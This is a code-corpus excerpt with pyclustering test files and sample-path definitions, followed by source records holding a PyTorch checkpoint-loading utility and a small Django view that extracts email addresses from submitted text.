tests/unit/ut_cnn.py ```python import unittest # Generate images without having a window appear. import matplotlib matplotlib.use('Agg') from pyclustering.nnet.cnn import type_conn, cnn_network, cnn_visualizer from pyclustering.samples.definitions import SIMPLE_SAMPLES from pyclustering.utils import read_sample class CnnUnitTest(unittest.TestCase): def templateSyncEnsembleAllocation(self, stimulus, steps, connection, amount_neighbors, analysed_iterations, expected_length_ensembles): testing_result = True for _ in range(3): network_instance = cnn_network(len(stimulus), connection, amount_neighbors) assert len(stimulus) == len(network_instance); output_dynamic = network_instance.simulate(steps, stimulus) ensembles = output_dynamic.allocate_sync_ensembles(analysed_iterations) obtained_ensemble_sizes = [len(ensemble) for ensemble in ensembles] # critical checks - always determined assert len(stimulus) == len(network_instance) assert len(stimulus) == sum(obtained_ensemble_sizes) if expected_length_ensembles is not None: obtained_ensemble_sizes.sort() expected_length_ensembles.sort() if obtained_ensemble_sizes != expected_length_ensembles: continue assert testing_result is True; def testClusteringPhenomenonSimpleSample01(self): stimulus = read_sample(SIMPLE_SAMPLES.SAMPLE_SIMPLE1) self.templateSyncEnsembleAllocation(stimulus, 100, type_conn.ALL_TO_ALL, 3, 10, [5, 5]) def testGlobalSynchronizationSimpleSample01(self): stimulus = read_sample(SIMPLE_SAMPLES.SAMPLE_SIMPLE1) self.templateSyncEnsembleAllocation(stimulus, 100, type_conn.ALL_TO_ALL, 9, 10, [10]) def testDelaunayTriangulationSimpleSample01(self): stimulus = read_sample(SIMPLE_SAMPLES.SAMPLE_SIMPLE1) self.templateSyncEnsembleAllocation(stimulus, 100, type_conn.TRIANGULATION_DELAUNAY, 3, 10, None) def testClusteringPhenomenonSimpleSample02(self): stimulus = read_sample(SIMPLE_SAMPLES.SAMPLE_SIMPLE2) self.templateSyncEnsembleAllocation(stimulus, 100, type_conn.ALL_TO_ALL, 3, 10, [10, 5, 8]) def testGlobalSynchronizationSimpleSample02(self): stimulus = read_sample(SIMPLE_SAMPLES.SAMPLE_SIMPLE2) self.templateSyncEnsembleAllocation(stimulus, 100, type_conn.ALL_TO_ALL, 22, 10, [10, 5, 8]) def testDelaunayTriangulationSimpleSample02(self): stimulus = read_sample(SIMPLE_SAMPLES.SAMPLE_SIMPLE2) self.templateSyncEnsembleAllocation(stimulus, 100, type_conn.TRIANGULATION_DELAUNAY, 22, 10, None) def testClusteringPhenomenonSimpleSample03(self): stimulus = read_sample(SIMPLE_SAMPLES.SAMPLE_SIMPLE3) self.templateSyncEnsembleAllocation(stimulus, 100, type_conn.ALL_TO_ALL, 3, 10, [10, 10, 10, 30]) def testClusteringPhenomenonSimpleSample04(self): stimulus = read_sample(SIMPLE_SAMPLES.SAMPLE_SIMPLE4) self.templateSyncEnsembleAllocation(stimulus, 200, type_conn.ALL_TO_ALL, 10, 10, [15, 15, 15, 15, 15]) def testClusteringPhenomenonSimpleSample05(self): stimulus = read_sample(SIMPLE_SAMPLES.SAMPLE_SIMPLE5) self.templateSyncEnsembleAllocation(stimulus, 100, type_conn.ALL_TO_ALL, 5, 10, [15, 15, 15, 15]) def testChaoticNeuralNetwork2DVisualization(self): stimulus = read_sample(SIMPLE_SAMPLES.SAMPLE_SIMPLE1) network_instance = cnn_network(len(stimulus)) output_dynamic = network_instance.simulate(100, stimulus) network_instance.show_network() cnn_visualizer.show_dynamic_matrix(output_dynamic) cnn_visualizer.show_observation_matrix(output_dynamic) cnn_visualizer.show_output_dynamic(output_dynamic) def testChaoticNeuralNetwork3DVisualization(self): stimulus = read_sample(SIMPLE_SAMPLES.SAMPLE_SIMPLE11) network_instance = cnn_network(len(stimulus)) output_dynamic = network_instance.simulate(10, stimulus) network_instance.show_network() cnn_visualizer.show_dynamic_matrix(output_dynamic) cnn_visualizer.show_observation_matrix(output_dynamic) cnn_visualizer.show_output_dynamic(output_dynamic) ``` #### File: tests/unit/ut_sync.py ```python import unittest; # Generate images without having a window appear. import matplotlib; matplotlib.use('Agg'); from pyclustering.nnet.tests.sync_templates import SyncTestTemplates; from pyclustering.nnet import solve_type, conn_type; from pyclustering.nnet.sync import sync_network, sync_dynamic, sync_visualizer; from pyclustering.utils import pi; class SyncUnitTest(unittest.TestCase): def testCreateNetwork(self): SyncTestTemplates.templateCreateNetwork(1, False); SyncTestTemplates.templateCreateNetwork(10, False); SyncTestTemplates.templateCreateNetwork(55, False); def testConnectionsApi(self): SyncTestTemplates.templateConnectionsApi(1, False); SyncTestTemplates.templateConnectionsApi(5, False); SyncTestTemplates.templateConnectionsApi(10, False); def testSyncOrderSingleOscillator(self): # Check for order parameter of network with one oscillator network = sync_network(1, 1, ccore=False); assert network.sync_order() == 1; def testSyncOrderNetwork(self): # Check for order parameter of network with several oscillators network = sync_network(2, 1, ccore=False); sync_state = 1; tolerance = 0.1; network.simulate(50, 20, solve_type.RK4); assert (abs(network.sync_order() - sync_state) < tolerance) == True; def testSyncLocalOrderSingleOscillator(self): network = sync_network(1, 1); assert network.sync_local_order() == 0; def testOutputNormalization(self): network = sync_network(20, 1, ccore=False); output_dynamic = network.simulate(50, 20, solve_type.RK4); t = output_dynamic.time; dyn = output_dynamic.output; for iteration in range(len(dyn)): for index_oscillator in range(len(dyn[iteration])): assert (dyn[iteration][index_oscillator] >= 0); assert (dyn[iteration][index_oscillator] <= 2.0 * pi); def testFastSolution(self): # Check for convergence when solution using fast way of calculation of derivative SyncTestTemplates.templateSimulateTest(10, 1, solve_type.FAST, False); def testRK4Solution(self): # Check for convergence when solution using RK4 function of calculation of derivative SyncTestTemplates.templateSimulateTest(10, 1, solve_type.RK4, False); def testLargeNetwork(self): # Check for convergence of phases in large network - network that contains large number of oscillators SyncTestTemplates.templateSimulateTest(128, 1, solve_type.FAST, False); def testOutputDynamicAroundZero(self): phases = [ [ 0.01, 0.02, 0.04, 6.27, 6.28, 6.25, 0.03] ]; time = [ 10.0 ]; output_sync_dynamic = sync_dynamic(phases, time, None); assert len(output_sync_dynamic.allocate_sync_ensembles(0.2)) == 1; assert len(output_sync_dynamic.allocate_sync_ensembles(0.1)) == 1; phases = [ [ 1.02, 1.05, 1.52, 5.87, 5.98, 5.14] ]; output_sync_dynamic = sync_dynamic(phases, time, None); assert len(output_sync_dynamic.allocate_sync_ensembles(3.0)) == 1; assert len(output_sync_dynamic.allocate_sync_ensembles(2.0)) == 1; def testDynamicSimulationAllToAll(self): SyncTestTemplates.templateDynamicSimulationConnectionTypeTest(10, 1, conn_type.ALL_TO_ALL, False); SyncTestTemplates.templateDynamicSimulationConnectionTypeTest(50, 1, conn_type.ALL_TO_ALL, False); def testDynamicSimulationGridFour(self): SyncTestTemplates.templateDynamicSimulationConnectionTypeTest(9, 1, conn_type.GRID_FOUR, False); SyncTestTemplates.templateDynamicSimulationConnectionTypeTest(25, 1, conn_type.GRID_FOUR, False); def testDynamicSimulationGridEight(self): SyncTestTemplates.templateDynamicSimulationConnectionTypeTest(9, 1, conn_type.GRID_FOUR, False); SyncTestTemplates.templateDynamicSimulationConnectionTypeTest(25, 1, conn_type.GRID_FOUR, False); def testDynamicSimulationBidir(self): SyncTestTemplates.templateDynamicSimulationConnectionTypeTest(5, 1, conn_type.LIST_BIDIR, False); SyncTestTemplates.templateDynamicSimulationConnectionTypeTest(10, 1, conn_type.LIST_BIDIR, False); def testTwoOscillatorDynamic(self): SyncTestTemplates.templateDynamicSimulationConvergence(2, 1, conn_type.ALL_TO_ALL, False); def testThreeOscillatorDynamic(self): SyncTestTemplates.templateDynamicSimulationConvergence(3, 1, conn_type.ALL_TO_ALL, False); def testFourOscillatorDynamic(self): SyncTestTemplates.templateDynamicSimulationConvergence(4, 1, conn_type.ALL_TO_ALL, False); def testFiveOscillatorDynamic(self): SyncTestTemplates.templateDynamicSimulationConvergence(5, 1, conn_type.ALL_TO_ALL, False); def testSixOscillatorDynamic(self): SyncTestTemplates.templateDynamicSimulationConvergence(6, 1, conn_type.ALL_TO_ALL, False); def testSevenOscillatorDynamic(self): SyncTestTemplates.templateDynamicSimulationConvergence(7, 1, conn_type.ALL_TO_ALL, False); def testOutputDynamicLengthSimulation(self): net = sync_network(5, ccore=False); output_dynamic = net.simulate(10, 10, solution = solve_type.FAST, collect_dynamic = True); assert len(output_dynamic) == 11; # 10 steps without initial values. def testOutputDynamicLengthStaticSimulation(self): net = sync_network(5, ccore=False); output_dynamic = net.simulate_static(10, 10, solution = solve_type.FAST, collect_dynamic = True); assert len(output_dynamic) == 11; # 10 steps without initial values. def testOutputDynamicLengthStaticSimulationWithouCollecting(self): net = sync_network(5, ccore=False); output_dynamic = net.simulate_static(10, 10, solution = solve_type.FAST, collect_dynamic = False); assert len(output_dynamic) == 1; # 10 steps without initial values. def testOutputDynamicLengthDynamicSimulation(self): net = sync_network(5, ccore=False); output_dynamic = net.simulate_dynamic(solution = solve_type.FAST, collect_dynamic = True); assert len(output_dynamic) > 1; def testOutputDynamicLengthDynamicSimulationWithoutCollecting(self): net = sync_network(5, ccore=False); output_dynamic = net.simulate_dynamic(solution = solve_type.FAST, collect_dynamic = False); assert len(output_dynamic) == 1; def testInfoAllicationWithNoSimulation(self): output_dynamic = sync_dynamic(None, None, None); ensembles = output_dynamic.allocate_sync_ensembles(); assert ensembles == []; matrix = output_dynamic.allocate_correlation_matrix(); assert matrix == []; def testOutputDynamicCalculateOrderParameter(self): SyncTestTemplates.templateOutputDynamicCalculateOrderParameter(False); def testOutputDynamicCalculateLocalOrderParameter(self): SyncTestTemplates.templateOutputDynamicCalculateLocalOrderParameter(False); def testVisualizerOrderParameterNoFailures(self): net = sync_network(10, ccore = False); output_dynamic = net.simulate_static(20, 10, solution = solve_type.FAST, collect_dynamic = True); sync_visualizer.show_order_parameter(output_dynamic); sync_visualizer.show_order_parameter(output_dynamic, 0); sync_visualizer.show_order_parameter(output_dynamic, 5); sync_visualizer.show_order_parameter(output_dynamic, 5, 20); def testVisualizeLocalOrderParameterNoFailures(self): net = sync_network(10, ccore = False); output_dynamic = net.simulate_static(20, 10, solution = solve_type.FAST, collect_dynamic = True); sync_visualizer.show_local_order_parameter(output_dynamic, net); sync_visualizer.show_local_order_parameter(output_dynamic, net, 0); sync_visualizer.show_local_order_parameter(output_dynamic, net, 5); sync_visualizer.show_local_order_parameter(output_dynamic, net, 5, 20); def testVisualizerNoFailures(self): SyncTestTemplates.templateVisualizerNoFailures(5, 10, False); ``` #### File: pyclustering/samples/definitions.py ```python import pyclustering.samples as samples import os ## Path to samples module. DEFAULT_SAMPLE_PATH = samples.__path__[0] + os.sep + "samples" + os.sep class SIMPLE_SAMPLES: """! @brief The Simple Suite offers a variety of simple clustering problems. @details The samples are supposed to use for unit-testing and common algorithm abilities to found out run-time problems. """ ## Simple Sample collection path. COLLECTION_PATH = DEFAULT_SAMPLE_PATH + "simple" + os.sep SAMPLE_SIMPLE1 = COLLECTION_PATH + "Simple01.data" SAMPLE_SIMPLE2 = COLLECTION_PATH + "Simple02.data" SAMPLE_SIMPLE3 = COLLECTION_PATH + "Simple03.data" SAMPLE_SIMPLE4 = COLLECTION_PATH + "Simple04.data" SAMPLE_SIMPLE5 = COLLECTION_PATH + "Simple05.data" SAMPLE_SIMPLE6 = COLLECTION_PATH + "Simple06.data" SAMPLE_SIMPLE7 = COLLECTION_PATH + "Simple07.data" SAMPLE_SIMPLE8 = COLLECTION_PATH + "Simple08.data" SAMPLE_SIMPLE9 = COLLECTION_PATH + "Simple09.data" SAMPLE_SIMPLE10 = COLLECTION_PATH + "Simple10.data" SAMPLE_SIMPLE11 = COLLECTION_PATH + "Simple11.data" SAMPLE_SIMPLE12 = COLLECTION_PATH + "Simple12.data" SAMPLE_SIMPLE13 = COLLECTION_PATH + "Simple13.data" SAMPLE_SIMPLE14 = COLLECTION_PATH + "Simple14.data" SAMPLE_SIMPLE15 = COLLECTION_PATH + "Simple15.data" SAMPLE_ELONGATE = COLLECTION_PATH + "Elongate.data" class SIMPLE_ANSWERS: """! @brief Proper clustering results of samples from 'SIMPLE_SAMPLES'. @see SIMPLE_SAMPLES """ COLLECTION_PATH = DEFAULT_SAMPLE_PATH + "simple" + os.sep ANSWER_SIMPLE1 = COLLECTION_PATH + "Simple01.answer" ANSWER_SIMPLE2 = COLLECTION_PATH + "Simple02.answer" ANSWER_SIMPLE3 = COLLECTION_PATH + "Simple03.answer" ANSWER_SIMPLE4 = COLLECTION_PATH + "Simple04.answer" ANSWER_SIMPLE5 = COLLECTION_PATH + "Simple05.answer" ANSWER_SIMPLE6 = COLLECTION_PATH + "Simple06.answer" ANSWER_SIMPLE7 = COLLECTION_PATH + "Simple07.answer" ANSWER_SIMPLE8 = COLLECTION_PATH + "Simple08.answer" ANSWER_SIMPLE9 = COLLECTION_PATH + "Simple09.answer" ANSWER_SIMPLE10 = COLLECTION_PATH + "Simple10.answer" ANSWER_SIMPLE11 = COLLECTION_PATH + "Simple11.answer" ANSWER_SIMPLE12 = COLLECTION_PATH + "Simple12.answer" ANSWER_SIMPLE13 = COLLECTION_PATH + "Simple13.answer" ANSWER_SIMPLE14 = COLLECTION_PATH + "Simple14.answer" ANSWER_SIMPLE15 = COLLECTION_PATH + "Simple15.answer" ANSWER_ELONGATE = COLLECTION_PATH + "Elongate.answer" class FCPS_SAMPLES: """! @brief The Fundamental Clustering Problems Suite (FCPS) offers a variety of clustering problems any algorithm shall be able to handle when facing real world data. @details FCPS serves as an elementary benchmark for clustering algorithms. FCPS consists of data sets with known a priori classifications that are to be reproduced by the algorithm. All data sets are intentionally created to be simple and might be visualized in two or three dimensions. """ COLLECTION_PATH = DEFAULT_SAMPLE_PATH + "fcps" + os.sep SAMPLE_ATOM = COLLECTION_PATH + "Atom.data" SAMPLE_CHAINLINK = COLLECTION_PATH + "Chainlink.data" SAMPLE_ENGY_TIME = COLLECTION_PATH + "EngyTime.data" SAMPLE_GOLF_BALL = COLLECTION_PATH + "GolfBall.data" SAMPLE_HEPTA = COLLECTION_PATH + "Hepta.data" SAMPLE_LSUN = COLLECTION_PATH + "Lsun.data" SAMPLE_TARGET = COLLECTION_PATH + "Target.data" SAMPLE_TETRA = COLLECTION_PATH + "Tetra.data" SAMPLE_TWO_DIAMONDS = COLLECTION_PATH + "TwoDiamonds.data" SAMPLE_WING_NUT = COLLECTION_PATH + "WingNut.data" class FAMOUS_SAMPLES: """! @brief The famous suite offers a variety of popular dataset that are mentioned in articles, book, etc. """ COLLECTION_PATH = DEFAULT_SAMPLE_PATH + "famous" + os.sep SAMPLE_OLD_FAITHFUL = COLLECTION_PATH + "OldFaithful.data" SAMPLE_IRIS = COLLECTION_PATH + "Iris.data" class FAMOUS_ANSWERS: """! @brief Proper clustering results of samples from 'FAMOUS_SAMPLES'. @see FAMOUS_SAMPLES """ COLLECTION_PATH = DEFAULT_SAMPLE_PATH + "famous" + os.sep ANSWER_IRIS = COLLECTION_PATH + "Iris.answer" class GRAPH_SIMPLE_SAMPLES: GRAPH_BROKEN_CIRCLE1 = samples.__path__[0] + os.sep + "graphs" + os.sep + "GraphBrokenCircle1.grpr" GRAPH_BROKEN_CIRCLE2 = samples.__path__[0] + os.sep + "graphs" + os.sep + "GraphBrokenCircle2.grpr" GRAPH_FIVE_POINTED_FRAME_STAR = samples.__path__[0] + os.sep + "graphs" + os.sep + "GraphFivePointedFrameStar.grpr" GRAPH_FIVE_POINTED_STAR = samples.__path__[0] + os.sep + "graphs" + os.sep + "GraphFivePointedStar.grpr" GRAPH_ONE_CIRCLE1 = samples.__path__[0] + os.sep + "graphs" + os.sep + "GraphOneCircle1.grpr" GRAPH_ONE_CIRCLE2 = samples.__path__[0] + os.sep + "graphs" + os.sep + "GraphOneCircle2.grpr" GRAPH_ONE_CIRCLE3 = samples.__path__[0] + os.sep + "graphs" + os.sep + "GraphOneCircle3.grpr" GRAPH_ONE_CROSSROAD = samples.__path__[0] + os.sep + "graphs" + os.sep + "GraphOneCrossroad.grpr" GRAPH_ONE_LINE = samples.__path__[0] + os.sep + "graphs" + os.sep + "GraphOneLine.grpr" GRAPH_TWO_CROSSROADS = samples.__path__[0] + os.sep + "graphs" + os.sep + "GraphTwoCrossroads.grpr" GRAPH_FULL1 = samples.__path__[0] + os.sep + "graphs" + os.sep + "GraphFull1.grpr" GRAPH_FULL2 = samples.__path__[0] + os.sep + "graphs" + os.sep + "GraphFull2.grpr" GRAPH_SIMPLE1 = samples.__path__[0] + os.sep + "graphs" + os.sep + "GraphSimple1.grpr" GRAPH_SIMPLE2 = samples.__path__[0] + os.sep + "graphs" + os.sep + "GraphSimple2.grpr" GRAPH_SIMPLE3 = samples.__path__[0] + os.sep + "graphs" + os.sep + "GraphSimple3.grpr" class IMAGE_SIMPLE_SAMPLES: IMAGE_SIMPLE01 = samples.__path__[0] + os.sep + "images" + os.sep + "ImageSimple01.png" IMAGE_SIMPLE02 = samples.__path__[0] + os.sep + "images" + os.sep + "ImageSimple02.png" IMAGE_SIMPLE03 = samples.__path__[0] + os.sep + "images" + os.sep + "ImageSimple03.png" IMAGE_SIMPLE04 = samples.__path__[0] + os.sep + "images" + os.sep + "ImageSimple04.png" IMAGE_SIMPLE05 = samples.__path__[0] + os.sep + "images" + os.sep + "ImageSimple05.png" IMAGE_SIMPLE06 = samples.__path__[0] + os.sep + "images" + os.sep + "ImageSimple06.png" IMAGE_SIMPLE07 = samples.__path__[0] + os.sep + "images" + os.sep + "ImageSimple07.png" IMAGE_SIMPLE08 = samples.__path__[0] + os.sep + "images" + os.sep + "ImageSimple08.png" IMAGE_SIMPLE09 = samples.__path__[0] + os.sep + "images" + os.sep + "ImageSimple09.png" IMAGE_SIMPLE10 = samples.__path__[0] + os.sep + "images" + os.sep + "ImageSimple10.png" IMAGE_SIMPLE11 = samples.__path__[0] + os.sep + "images" + os.sep + "ImageSimple11.png" IMAGE_SIMPLE12 = samples.__path__[0] + os.sep + "images" + os.sep + "ImageSimple12.png" IMAGE_SIMPLE13 = samples.__path__[0] + os.sep + "images" + os.sep + "ImageSimple13.png" IMAGE_SIMPLE14 = samples.__path__[0] + os.sep + "images" + os.sep + "ImageSimple14.png" IMAGE_SIMPLE15 = samples.__path__[0] + os.sep + "images" + os.sep + "ImageSimple15.png" IMAGE_SIMPLE16 = samples.__path__[0] + os.sep + "images" + os.sep + "ImageSimple16.png" IMAGE_SIMPLE17 = samples.__path__[0] + os.sep + "images" + os.sep + "ImageSimple17.png" IMAGE_SIMPLE18 = samples.__path__[0] + os.sep + "images" + os.sep + "ImageSimple18.png" IMAGE_SIMPLE_BEACH = samples.__path__[0] + os.sep + "images" + os.sep + "ImageSimpleBeach.png" IMAGE_SIMPLE_BUILDING = samples.__path__[0] + os.sep + "images" + os.sep + "ImageSimpleBuilding.png" IMAGE_SIMPLE_FRUITS = samples.__path__[0] + os.sep + "images" + os.sep + "ImageSimpleFruits.png" IMAGE_SIMPLE_FRUITS_SMALL = samples.__path__[0] + os.sep + "images" + os.sep + "ImageSimpleFruitsSmall.png" IMAGE_THIN_BLACK_LINES01 = samples.__path__[0] + os.sep + "images" + os.sep + "ImageThinBlackLines01.png" IMAGE_THIN_BLACK_LINES02 = samples.__path__[0] + os.sep + "images" + os.sep + "ImageThinBlackLines02.png" IMAGE_THIN_BLACK_LINES03 = samples.__path__[0] + os.sep + "images" + os.sep + "ImageThinBlackLines03.png" class IMAGE_MAP_SAMPLES: IMAGE_WHITE_SEA = samples.__path__[0] + os.sep + "images" + os.sep + "ImageWhiteSea.png" IMAGE_WHITE_SEA_SMALL = samples.__path__[0] + os.sep + "images" + os.sep + "ImageWhiteSeaSmall.png" IMAGE_NILE = samples.__path__[0] + os.sep + "images" + os.sep + "ImageNile.png" IMAGE_NILE_SMALL = samples.__path__[0] + os.sep + "images" + os.sep + "ImageNileSmall.png" IMAGE_BUILDINGS = samples.__path__[0] + os.sep + "images" + os.sep + "ImageBuildings.png" class IMAGE_REAL_SAMPLES: IMAGE_FIELD_FLOWER = samples.__path__[0] + os.sep + "images" + os.sep + "ImageFieldFlower.png" IMAGE_FIELD_TREE = samples.__path__[0] + os.sep + "images" + os.sep + "ImageFieldTree.png" class IMAGE_SYMBOL_SAMPLES: @staticmethod def GET_LIST_IMAGE_SAMPLES(symbol): default_path = samples.__path__[0] + os.sep + "images" + os.sep + "symbols" + os.sep number_sample_symbols = 1 name_file_pattern = "Symbol_%s_Sample%.2d.png" list_image_samples = [] for index_image in range(1, number_sample_symbols + 1, 1): file_path = default_path + (name_file_pattern % (symbol, index_image)) list_image_samples.append(file_path) return list_image_samples LIST_IMAGES_SYMBOL_A = GET_LIST_IMAGE_SAMPLES.__func__('A') LIST_IMAGES_SYMBOL_B = GET_LIST_IMAGE_SAMPLES.__func__('B') LIST_IMAGES_SYMBOL_C = GET_LIST_IMAGE_SAMPLES.__func__('C') LIST_IMAGES_SYMBOL_D = GET_LIST_IMAGE_SAMPLES.__func__('D') LIST_IMAGES_SYMBOL_E = GET_LIST_IMAGE_SAMPLES.__func__('E') LIST_IMAGES_SYMBOL_F = GET_LIST_IMAGE_SAMPLES.__func__('F') LIST_IMAGES_SYMBOL_G = GET_LIST_IMAGE_SAMPLES.__func__('G') LIST_IMAGES_SYMBOL_H = GET_LIST_IMAGE_SAMPLES.__func__('H') LIST_IMAGES_SYMBOL_I = GET_LIST_IMAGE_SAMPLES.__func__('I') LIST_IMAGES_SYMBOL_J = GET_LIST_IMAGE_SAMPLES.__func__('J') LIST_IMAGES_SYMBOL_K = GET_LIST_IMAGE_SAMPLES.__func__('K') LIST_IMAGES_SYMBOL_L = GET_LIST_IMAGE_SAMPLES.__func__('L') LIST_IMAGES_SYMBOL_M = GET_LIST_IMAGE_SAMPLES.__func__('M') LIST_IMAGES_SYMBOL_N = GET_LIST_IMAGE_SAMPLES.__func__('N') LIST_IMAGES_SYMBOL_O = GET_LIST_IMAGE_SAMPLES.__func__('O') LIST_IMAGES_SYMBOL_P = GET_LIST_IMAGE_SAMPLES.__func__('P') LIST_IMAGES_SYMBOL_Q = GET_LIST_IMAGE_SAMPLES.__func__('Q') LIST_IMAGES_SYMBOL_R = GET_LIST_IMAGE_SAMPLES.__func__('R') LIST_IMAGES_SYMBOL_S = GET_LIST_IMAGE_SAMPLES.__func__('S') LIST_IMAGES_SYMBOL_T = GET_LIST_IMAGE_SAMPLES.__func__('T') LIST_IMAGES_SYMBOL_U = GET_LIST_IMAGE_SAMPLES.__func__('U') LIST_IMAGES_SYMBOL_V = GET_LIST_IMAGE_SAMPLES.__func__('V') LIST_IMAGES_SYMBOL_W = GET_LIST_IMAGE_SAMPLES.__func__('W') LIST_IMAGES_SYMBOL_X = GET_LIST_IMAGE_SAMPLES.__func__('X') LIST_IMAGES_SYMBOL_Y = GET_LIST_IMAGE_SAMPLES.__func__('Y') LIST_IMAGES_SYMBOL_Z = GET_LIST_IMAGE_SAMPLES.__func__('Z') class IMAGE_DIGIT_SAMPLES: @staticmethod def GET_LIST_IMAGE_SAMPLES(digit): default_path = samples.__path__[0] + os.sep + "images" + os.sep + "digits" + os.sep number_sample_digits = 25 name_file_pattern = "Digit_%d_Sample%.2d.png" list_image_samples = [] for index_image in range(1, number_sample_digits + 1, 1): file_path = default_path + (name_file_pattern % (digit, index_image)) list_image_samples.append(file_path) return list_image_samples LIST_IMAGES_DIGIT_0 = GET_LIST_IMAGE_SAMPLES.__func__(0) LIST_IMAGES_DIGIT_1 = GET_LIST_IMAGE_SAMPLES.__func__(1) LIST_IMAGES_DIGIT_2 = GET_LIST_IMAGE_SAMPLES.__func__(2) LIST_IMAGES_DIGIT_3 = GET_LIST_IMAGE_SAMPLES.__func__(3) LIST_IMAGES_DIGIT_4 = GET_LIST_IMAGE_SAMPLES.__func__(4) LIST_IMAGES_DIGIT_5 = GET_LIST_IMAGE_SAMPLES.__func__(5) LIST_IMAGES_DIGIT_6 = GET_LIST_IMAGE_SAMPLES.__func__(6) LIST_IMAGES_DIGIT_7 = GET_LIST_IMAGE_SAMPLES.__func__(7) LIST_IMAGES_DIGIT_8 = GET_LIST_IMAGE_SAMPLES.__func__(8) LIST_IMAGES_DIGIT_9 = GET_LIST_IMAGE_SAMPLES.__func__(9) ``` #### File: pyclustering/tests/tests_runner.py ```python import enum import sys import unittest import warnings # Generate images without having a window appear. import matplotlib matplotlib.use('Agg') from pyclustering.tests.suite_holder import suite_holder from pyclustering import __PYCLUSTERING_ROOT_DIRECTORY__ class pyclustering_integration_tests(suite_holder): def __init__(self): super().__init__() pyclustering_integration_tests.fill_suite(self.get_suite()) @staticmethod def fill_suite(integration_suite): integration_suite.addTests(unittest.TestLoader().discover(__PYCLUSTERING_ROOT_DIRECTORY__, "it_*.py")) class pyclustering_unit_tests(suite_holder): def __init__(self): super().__init__() pyclustering_unit_tests.fill_suite(self.get_suite()) @staticmethod def fill_suite(unit_suite): unit_suite.addTests(unittest.TestLoader().discover(__PYCLUSTERING_ROOT_DIRECTORY__, "ut_*.py")) class pyclustering_tests(suite_holder): def __init__(self): super().__init__() pyclustering_tests.fill_suite(self.get_suite()) @staticmethod def fill_suite(pyclustering_suite): pyclustering_integration_tests.fill_suite(pyclustering_suite) pyclustering_unit_tests.fill_suite(pyclustering_suite) class exit_code(enum.IntEnum): success = 0, error_unknown_type_test = -1, error_too_many_arguments = -2, error_failure = -3 class tests_runner: @staticmethod def run(): result = None return_code = exit_code.success warnings.filterwarnings('ignore', 'Matplotlib is currently using agg, which is a non-GUI backend, so cannot show the figure.') if len(sys.argv) == 1: result = pyclustering_tests().run() elif len(sys.argv) == 2: if sys.argv[1] == "--integration": result = pyclustering_integration_tests().run() elif sys.argv[1] == "--unit": result = pyclustering_unit_tests().run() elif sys.argv[1] == "test": result = pyclustering_tests().run() else: print("Unknown type of test is specified '" + str(sys.argv[1]) + "'.") return_code = exit_code.error_unknown_type_test else: print("Too many arguments '" + str(len(sys.argv)) + "' is used.") return_code = exit_code.error_too_many_arguments # Get execution result if result is not None: if result.wasSuccessful() is False: return_code = exit_code.error_failure exit(return_code) ``` #### File: pyclustering/utils/color.py ```python class color: """! @brief Consists titles of colors that are used by pyclustering for visualization. """ @staticmethod def get_color(sequential_index): """! @brief Returns color using round robin to avoid out of range exception. @param[in] sequential_index (uint): Index that should be converted to valid color index. @return (uint) Color from list color.TITLES. """ return color.TITLES[sequential_index % len(color.TITLES)] ## List of color titles that are used by pyclustering for visualization. TITLES = [ 'red', 'blue', 'darkgreen', 'gold', 'violet', 'deepskyblue', 'darkgrey', 'lightsalmon', 'deeppink', 'yellow', 'black', 'mediumspringgreen', 'orange', 'darkviolet', 'darkblue', 'silver', 'lime', 'pink', 'brown', 'bisque', 'dimgray', 'firebrick', 'darksalmon', 'chartreuse', 'skyblue', 'purple', 'fuchsia', 'palegoldenrod', 'coral', 'hotpink', 'gray', 'tan', 'crimson', 'teal', 'olive'] ``` #### File: utils/tests/__init__.py ```python import matplotlib matplotlib.use('Agg') from pyclustering.tests.suite_holder import suite_holder from pyclustering.utils.tests.integration import utils_integration_tests from pyclustering.utils.tests.unit import utils_unit_tests class utils_tests(suite_holder): def __init__(self): super().__init__() utils_tests.fill_suite(self.get_suite()) @staticmethod def fill_suite(utils_suite): utils_unit_tests.fill_suite(utils_suite) utils_integration_tests.fill_suite(utils_suite) ``` #### File: tests/unit/ut_dimension.py ```python import unittest; # Generate images without having a window appear. import matplotlib; matplotlib.use('Agg'); from pyclustering.utils.dimension import dimension_info; class DimensionUnitTest(unittest.TestCase): def testGetDimension(self): info = dimension_info([ [1], [2], [3], [4], [5] ]); assert 1 == info.get_dimensions(); info = dimension_info([[1, 2], [3, 4]]); assert 2 == info.get_dimensions(); ```
{ "source": "JosephChenHub/DPANet", "score": 2 }
#### File: DPANet/lib/utils.py ```python import time import os import torch import logging as logger def load_model(model, model_file, depth_input=False, is_restore=False): t_start = time.time() if isinstance(model_file, str): if not os.path.exists(model_file): logger.warning("Model file:%s does not exist!"%model_file) return state_dict = torch.load(model_file, map_location=torch.device('cpu')) if 'model' in state_dict.keys(): state_dict = state_dict['model'] else: state_dict = model_file t_ioend = time.time() if is_restore: new_state_dict = OrderedDict() for k, v in state_dict.items(): name = 'module.' + k new_state_dict[name] = v state_dict = new_state_dict if depth_input: mean_w = state_dict['conv1.weight'].mean(dim=1, keepdim=True) state_dict['conv1.weight'] = mean_w model.load_state_dict(state_dict, strict=False) ckpt_keys = set(state_dict.keys()) own_keys = set(model.state_dict().keys()) missing_keys = own_keys - ckpt_keys unexpected_keys = ckpt_keys - own_keys if len(missing_keys) > 0: logger.warning('Model keys:{}, state dict: {}, missing key(s) in state_dict: {}'.format(len(own_keys), len(ckpt_keys), ', '.join('{}'.format(k) for k in missing_keys) )) if len(unexpected_keys) > 0: logger.warning('Unexpected key(s) in state_dict: {}'.format( ', '.join('{}'.format(k) for k in unexpected_keys) )) del state_dict t_end = time.time() logger.info("Load model, Time usage:\n\tIO: {}, initialize parameters: {}".format(t_ioend - t_start, t_end - t_ioend)) return model ```
{ "source": "Josephchinedu/mail-extractor", "score": 2 }
#### File: mail-extractor/app/views.py ```python from django.shortcuts import render from django.http import JsonResponse from .forms import * from .scripts import * # Create your views here. def homepageview(request): form = EmailForm() return render(request, "index.html", {"form": form}) def email_extractor_view(request): if request.method == "POST": textare = request.POST.get('email-text') output_data = main(textare) print(output_data) return JsonResponse ({"emails": output_data}, safe=False) ```
{ "source": "Josephchinedu/nigeria_bank_codes", "score": 3 }
